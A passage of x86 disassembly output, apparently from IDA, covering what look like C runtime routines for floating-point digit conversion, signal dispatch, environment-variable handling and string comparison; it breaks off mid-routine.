sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB5AC mov eax, offset dword_4DB5AC jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB5A8 mov eax, offset dword_4DB5A8 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB5B0 mov eax, offset dword_4DB5B0 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB5A4 mov eax, offset dword_4DB5A4 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB380 and dword_4DB380, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C97C mov dword_43C97C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C970 mov ecx, dword_43C974 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C900h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C97C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB380, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C97C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C978 cmp dword_43C8FC, edx push esi mov eax, offset dword_43C8F8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8F8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8F8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC950, 0 push ebx push esi mov esi, dword_4DB2D0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2D8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2D0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB2A8, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB2A8, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDF8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF58 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC704 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC924 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2D8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB5B8, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25D0000h test eax, eax jz short loc_425F53 mov dword_4DB5B8, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE5C push eax push edi push eax push ebx push ebx nop call near ptr 25D06E7h test eax, eax jz loc_42616C mov dword_4DB5B8, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB5B8 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25D06E7h jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28D0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2830000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25D0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2D0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2D4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2D0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2D8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2D8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2D8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2D0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2D0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop 